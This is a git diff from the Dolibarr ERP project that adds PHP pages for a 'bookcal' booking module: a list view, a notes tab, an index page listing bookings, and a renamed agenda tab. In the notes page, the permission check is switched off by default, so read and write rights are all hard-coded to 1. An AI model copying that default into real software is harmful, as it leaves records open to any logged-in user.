$search_xxxmonth, $search_xxxyear); +// Add where from extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; +// Add where from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; + +/* If a group by is required +$sql .= " GROUP BY "; +foreach($object->fields as $key => $val) { + $sql .= "t.".$db->escape($key).", "; +} +// Add fields from extrafields +if (!empty($extrafields->attributes[$object->table_element]['label'])) { + foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key.', ' : ''); + } +} +// Add where from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListGroupBy', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; +$sql = preg_replace('/,\s*$/', '', $sql); +*/ + +// Add HAVING from hooks +/* +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListHaving', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= empty($hookmanager->resPrint) ? "" : " HAVING 1=1 ".$hookmanager->resPrint; +*/ + +// Count total nb of records +$nbtotalofrecords = ''; +if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + /* This old and fast method to get and count full list returns all record so use a high amount of memory. + $resql = $db->query($sql); + $nbtotalofrecords = $db->num_rows($resql); + */ + /* The slow method does not consume memory on mysql (not tested on pgsql) */ + /*$resql = $db->query($sql, 0, 'auto', 1); + while ($db->fetch_object($resql)) { + if (empty($nbtotalofrecords)) { + $nbtotalofrecords = 1; // We can't make +1 because init value is '' + } else { + $nbtotalofrecords++; + } + }*/ + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + $page = 0; + $offset = 0; + } + $db->free($resql); +} + +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} + +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} + +$num = $db->num_rows($resql); + + +// Direct jump if only one record found +if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { + $obj = $db->fetch_object($resql); + $id = $obj->rowid; + header("Location: ".dol_buildpath('/bookcal/availabilities_card.php', 1).'?id='.$id); + exit; +} + + +// Output page +// -------------------------------------------------------------------- + +llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', 'bodyforlist'); + +// Example : Adding jquery code +// print ''; + +$arrayofselected = is_array($toselect) ? $toselect : array(); + +$param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} +if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); +} +if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); +} +foreach ($search as $key => $val) { + if (is_array($search[$key]) && count($search[$key])) { + foreach ($search[$key] as $skey) { + if ($skey != '') { + $param .= '&search_'.$key.'[]='.urlencode($skey); + } + } + } elseif ($search[$key] != '') { + $param .= '&search_'.$key.'='.urlencode($search[$key]); + } +} +if ($optioncss != '') { + $param .= '&optioncss='.urlencode($optioncss); +} +// Add $param from extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; +// Add $param from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $object); // Note that $action and $object may have been modified by hook +$param .= $hookmanager->resPrint; + +// List of mass actions available +$arrayofmassactions = array( + //'validate'=>img_picto('', 'check', 'class="pictofixedwidth"').$langs->trans("Validate"), + //'generate_doc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("ReGeneratePDF"), + //'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), + //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), +); +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +} +if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { + $arrayofmassactions = array(); +} +$massactionbutton = $form->selectMassAction('', $arrayofmassactions); + +print '
      '."\n"; +if ($optioncss != '') { + print ''; +} +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; + + +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitleSeparator(); +$newcardbutton .= dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', dol_buildpath('/bookcal/availabilities_card.php', 1).'?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permissiontoadd); + +print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'object_'.$object->picto, 0, $newcardbutton, '', $limit, 0, 0, 1); + +// Add code for pre mass action (confirmation or email presend form) +$topicmail = "SendAvailabilitiesRef"; +$modelmail = "availabilities"; +$objecttmp = new Availabilities($db); +$trackid = 'xxxx'.$object->id; +include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; + +if ($search_all) { + $setupstring = ''; + foreach ($fieldstosearchall as $key => $val) { + $fieldstosearchall[$key] = $langs->trans($val); + $setupstring .= $key."=".$val.";"; + } + print ''."\n"; + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; +} + +$moreforfilter = ''; +/*$moreforfilter.='
      '; +$moreforfilter.= $langs->trans('MyFilter') . ': '; +$moreforfilter.= '
      ';*/ + +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +if (empty($reshook)) { + $moreforfilter .= $hookmanager->resPrint; +} else { + $moreforfilter = $hookmanager->resPrint; +} + +if (!empty($moreforfilter)) { + print '
      '; + print $moreforfilter; + print '
      '; +} + +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields +$selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); + +print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table +print ''."\n"; + + +// Fields title search +// -------------------------------------------------------------------- +print ''; +// Action column +if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; +} +foreach ($object->fields as $key => $val) { + $searchkey = empty($search[$key]) ? '' : $search[$key]; + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + if (!empty($arrayfields['t.'.$key]['checked'])) { + print ''; + } +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; + +// Fields from hook +$parameters = array('arrayfields'=>$arrayfields); +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +/*if (!empty($arrayfields['anotherfield']['checked'])) { + print ''; +}*/ +// Action column +if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; +} +print ''."\n"; + +$totalarray = array(); +$totalarray['nbfield'] = 0; + +// Fields title label +// -------------------------------------------------------------------- +print ''; +if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} +foreach ($object->fields as $key => $val) { + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + $cssforfield = preg_replace('/small\s*/', '', $cssforfield); // the 'small' css must not be used for the title label + if (!empty($arrayfields['t.'.$key]['checked'])) { + print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''))."\n"; + $totalarray['nbfield']++; + } +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; +// Hook fields +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +/*if (!empty($arrayfields['anotherfield']['checked'])) { + print ''; + $totalarray['nbfield']++; +}*/ +// Action column +if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} +$totalarray['nbfield']++; +print ''."\n"; + + +// Detect if we need a fetch on each output line +$needToFetchEachLine = 0; +if (isset($extrafields->attributes[$object->table_element]['computed']) && is_array($extrafields->attributes[$object->table_element]['computed']) && count($extrafields->attributes[$object->table_element]['computed']) > 0) { + foreach ($extrafields->attributes[$object->table_element]['computed'] as $key => $val) { + if (preg_match('/\$object/', $val)) { + $needToFetchEachLine++; // There is at least one compute field that use $object + } + } +} + + +// Loop on record +// -------------------------------------------------------------------- +$i = 0; +$savnbfield = $totalarray['nbfield']; +$totalarray = array(); +$totalarray['nbfield'] = 0; +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { + $obj = $db->fetch_object($resql); + if (empty($obj)) { + break; // Should not happen + } + + // Store properties in $object + $object->setVarsFromFetchObj($obj); + + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + // Show here line of result + $j = 0; + print ''; + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } + foreach ($object->fields as $key => $val) { + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } + + if (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif ($key == 'ref') { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } + + if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; + + if (!empty($arrayfields['t.'.$key]['checked'])) { + print '$key)) { + print ' title="'.dol_escape_htmltag($object->$key).'"'; + } + print '>'; + if ($key == 'status') { + print $object->getLibStatut(5); + } elseif ($key == 'rowid') { + print $object->showOutputField($val, $key, $object->id, ''); + } else { + print $object->showOutputField($val, $key, $object->$key, ''); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + } + if (!isset($totalarray['val'])) { + $totalarray['val'] = array(); + } + if (!isset($totalarray['val']['t.'.$key])) { + $totalarray['val']['t.'.$key] = 0; + } + $totalarray['val']['t.'.$key] += $object->$key; + } + } + } + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + /*if (!empty($arrayfields['anotherfield']['checked'])) { + print ''; + }*/ + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } + if (!$i) { + $totalarray['nbfield']++; + } + + print ''."\n"; + } + + $i++; +} + +// Show total line +include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; + +// If no record found +if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print ''; +} + + +$db->free($resql); + +$parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; + +print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; + if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { + print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100', 1); + } elseif ((strpos($val['type'], 'integer:') === 0) || (strpos($val['type'], 'sellist:') === 0)) { + print $object->showInputField($val, $key, (isset($search[$key]) ? $search[$key] : ''), '', '', 'search_', $cssforfield.' maxwidth250', 1); + } elseif (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { + print '
      '; + print $form->selectDate($search[$key.'_dtstart'] ? $search[$key.'_dtstart'] : '', "search_".$key."_dtstart", 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search[$key.'_dtend'] ? $search[$key.'_dtend'] : '', "search_".$key."_dtend", 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + } elseif ($key == 'lang') { + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formadmin.class.php'; + $formadmin = new FormAdmin($db); + print $formadmin->select_language($search[$key], 'search_lang', 0, null, 1, 0, 0, 'minwidth150 maxwidth200', 2); + } else { + print ''; + } + print '
      '; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '.$langs->trans("AnotherField").'
      '; + print '
      '; + } + // Output Kanban + print $object->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''.$obj->anotherfield.''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      '."\n"; +print '
      '."\n"; + +print '
      '."\n"; + +if (in_array('builddoc', $arrayofmassactions) && ($nbtotalofrecords === '' || $nbtotalofrecords)) { + $hidegeneratedfilelistifempty = 1; + if ($massaction == 'builddoc' || $action == 'remove_file' || $show_files) { + $hidegeneratedfilelistifempty = 0; + } + + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; + $formfile = new FormFile($db); + + // Show list of available documents + $urlsource = $_SERVER['PHP_SELF'].'?sortfield='.$sortfield.'&sortorder='.$sortorder; + $urlsource .= str_replace('&', '&', $param); + + $filedir = $diroutputmassaction; + $genallowed = $permissiontoread; + $delallowed = $permissiontoadd; + + print $formfile->showdocuments('massfilesarea_bookcal', '', $filedir, $urlsource, 0, $delallowed, '', 1, 1, 0, 48, 1, $param, $title, '', '', '', null, $hidegeneratedfilelistifempty); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/availabilities_note.php b/htdocs/bookcal/availabilities_note.php new file mode 100644 index 00000000000..27cdbbce880 --- /dev/null +++ b/htdocs/bookcal/availabilities_note.php @@ -0,0 +1,171 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file availabilities_note.php + * \ingroup bookcal + * \brief Tab for notes on Availabilities + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/availabilities.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_availabilities.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "companies")); + +// Get parameters +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$action = GETPOST('action', 'aZ09'); +$cancel = GETPOST('cancel', 'aZ09'); +$backtopage = GETPOST('backtopage', 'alpha'); + +// Initialize technical objects +$object = new Availabilities($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('availabilitiesnote', 'globalcard')); // Note that conf->hooks_modules contains array +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals +if ($id > 0 || !empty($ref)) { + $upload_dir = $conf->bookcal->multidir_output[!empty($object->entity) ? $object->entity : $conf->entity]."/".$object->id; +} + + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->hasRight('bookcal', 'availabilities', 'read'); + $permissiontoadd = $user->hasRight('bookcal', 'availabilities', 'write'); + $permissionnote = $user->hasRight('bookcal', 'availabilities', 'write'); // Used by the include of actions_setnotes.inc.php +} else { + $permissiontoread = 1; + $permissiontoadd = 1; + $permissionnote = 1; +} + +// Security check (enable the most restrictive one) +//if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +$parameters = array(); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} +if (empty($reshook)) { + include DOL_DOCUMENT_ROOT.'/core/actions_setnotes.inc.php'; // Must be include, not include_once +} + + +/* + * View + */ + +$form = new Form($db); + +//$help_url='EN:Customers_Orders|FR:Commandes_Clients|ES:Pedidos de clientes'; +$help_url = ''; +$title = $langs->trans('Availabilities').' - '.$langs->trans("Notes"); +llxHeader('', $title, $help_url); + +if ($id > 0 || !empty($ref)) { + $object->fetch_thirdparty(); + + $head = availabilitiesPrepareHead($object); + + print dol_get_fiche_head($head, 'note', $langs->trans("Availabilities"), -1, $object->picto); + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + /* + // Ref customer + $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); + // Project + if (! empty($conf->project->enabled)) + { + $langs->load("projects"); + $morehtmlref.='
      '.$langs->trans('Project') . ' '; + if ($permissiontoadd) + { + if ($action != 'classify') + //$morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; + $morehtmlref.=' : '; + if ($action == 'classify') { + //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + $morehtmlref.='
      '; + $morehtmlref.=''; + $morehtmlref.=''; + $morehtmlref.=$formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref.=''; + $morehtmlref.='
      '; + } else { + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + } + } else { + if (! empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= ': '.$proj->getNomUrl(); + } else { + $morehtmlref .= ''; + } + } + }*/ + $morehtmlref .= '
      '; + + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + + print '
      '; + print '
      '; + + + $cssclass = "titlefield"; + include DOL_DOCUMENT_ROOT.'/core/tpl/notes.tpl.php'; + + print '
      '; + + print dol_get_fiche_end(); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/bookcalindex.php b/htdocs/bookcal/bookcalindex.php new file mode 100644 index 00000000000..b76c8e9972d --- /dev/null +++ b/htdocs/bookcal/bookcalindex.php @@ -0,0 +1,197 @@ + + * Copyright (C) 2004-2015 Laurent Destailleur + * Copyright (C) 2005-2012 Regis Houssin + * Copyright (C) 2015 Jean-François Ferry + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file bookcal/bookcalindex.php + * \ingroup bookcal + * \brief Home page of bookcal top menu + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; + +// Load translation files required by the page +$langs->loadLangs(array("agenda")); + +$action = GETPOST('action', 'aZ09'); + + +// Security check +// if (! $user->rights->bookcal->myobject->read) { +// accessforbidden(); +// } +$socid = GETPOST('socid', 'int'); +if (isset($user->socid) && $user->socid > 0) { + $action = ''; + $socid = $user->socid; +} + +$max = 5; +$now = dol_now(); + + +/* + * Actions + */ + +// None + + +/* + * View + */ + +$form = new Form($db); +$formfile = new FormFile($db); + +llxHeader("", $langs->trans("BookCalArea")); + +print load_fiche_titre($langs->trans("BookCalArea"), '', 'bookcal.png@bookcal'); + +print '
      '; + + +// BEGIN MODULEBUILDER DRAFT MYOBJECT +// Draft MyObject +if ($user->hasRight('bookcal', 'availabilities', 'read') && isModEnabled('bookcal')) { + $langs->load("orders"); + + $sql = "SELECT rowid, `ref`, fk_soc, fk_project, description, note_public, note_private, date_creation, tms, fk_user_creat, fk_user_modif, last_main_doc, import_key, model_pdf, status, firstname, lastname, email, `start`, duration"; + $sql .= " FROM ". MAIN_DB_PREFIX . 'bookcal_booking'; + + $resql = $db->query($sql); + if ($resql) { + $total = 0; + $num = $db->num_rows($resql); + + print ''; + print ''; + print ''; + + $var = true; + print ' + + + + + + + + + '; + if ($num > 0) { + $i = 0; + while ($i < $num) { + $obj = $db->fetch_object($resql); + print ''; + + $myobjectstatic->id=$obj->rowid; + $myobjectstatic->ref=$obj->ref; + $myobjectstatic->date = $obj->start; + $myobjectstatic->firstname = $obj->firstname; + $myobjectstatic->lastname = $obj->lastname; + $myobjectstatic->start = $obj->start; + $myobjectstatic->duration = $obj->duration; + $myobjectstatic->description = $obj->description; + + + print '"; + print '"; + print '"; + print '"; + print '"; + print '"; + $i++; + } + } else { + print ''; + } + print "
      '.$langs->trans("Bookings").($num?''.$num.'':'').'
      idrefnamedatehourdurationdescription
      ' . $myobjectstatic->id . "' . $myobjectstatic->ref . "' . $myobjectstatic->firstname . " " . $myobjectstatic->lastname . "' . $myobjectstatic->start . "' . $myobjectstatic->duration . "' . $myobjectstatic->description . "
      '.$langs->trans("NoOrder").'

      "; + + $db->free($resql); + } else { + dol_print_error($db); + } +} +//END MODULEBUILDER DRAFT MYOBJECT */ + + + +print '
      '; + + +$NBMAX = $conf->global->MAIN_SIZE_SHORTLIST_LIMIT; +$max = $conf->global->MAIN_SIZE_SHORTLIST_LIMIT; + +/* BEGIN MODULEBUILDER LASTMODIFIED MYOBJECT +// Last modified myobject +if (isModEnabled('bookcal')) { + $sql = "SELECT rowid, `ref`, fk_soc, fk_project, description, note_public, note_private, date_creation, tms, fk_user_creat, fk_user_modif, last_main_doc, import_key, model_pdf, status, firstname, lastname, email, `start`, duration"; + $sql .= " FROM ". MAIN_DB_PREFIX . 'bookcal_booking'; + print "here2"; + $resql = $db->query($sql); + if ($resql) + { + $num = $db->num_rows($resql); + $i = 0; + + print ''; + print ''; + print ''; + print ''; + print ''; + print $num; + if ($num) + { + while ($i < $num) + { + $objp = $db->fetch_object($resql); + + $myobjectstatic->id=$objp->rowid; + $myobjectstatic->ref=$objp->ref; + $myobjectstatic->label=$objp->label; + $myobjectstatic->status = $objp->status; + + print ''; + print ''; + print '"; + print '"; + print ''; + $i++; + } + + $db->free($resql); + } else { + print ''; + } + print "
      '; + print $langs->trans("BoxTitleLatestModifiedMyObjects", $max); + print ''.$langs->trans("DateModificationShort").'
      '.$myobjectstatic->getNomUrl(1).''; + print "'.dol_print_date($db->jdate($objp->tms), 'day')."
      '.$langs->trans("None").'

      "; + } +} + +*/ +print '
      '; + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/webhook/target_agenda.php b/htdocs/bookcal/booking_agenda.php similarity index 81% rename from htdocs/webhook/target_agenda.php rename to htdocs/bookcal/booking_agenda.php index 17b9842c238..b171b953b42 100644 --- a/htdocs/webhook/target_agenda.php +++ b/htdocs/bookcal/booking_agenda.php @@ -1,5 +1,6 @@ + * Copyright (C) 2022 Alice Adminson * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -16,9 +17,9 @@ */ /** - * \file htdocs/webhook/target_agenda.php - * \ingroup webhook - * \brief Tab of events on Target + * \file booking_agenda.php + * \ingroup bookcal + * \brief Tab of events on Booking */ // Load Dolibarr environment @@ -26,12 +27,12 @@ require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; -require_once DOL_DOCUMENT_ROOT.'/webhook/class/target.class.php'; -require_once DOL_DOCUMENT_ROOT.'/webhook/lib/webhook_target.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/booking.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_booking.lib.php'; // Load translation files required by the page -$langs->loadLangs(array('other')); +$langs->loadLangs(array("agenda", "other")); // Get parameters $id = GETPOST('id', 'int'); @@ -49,6 +50,7 @@ if (GETPOST('actioncode', 'array')) { $actioncode = GETPOST("actioncode", "alpha", 3) 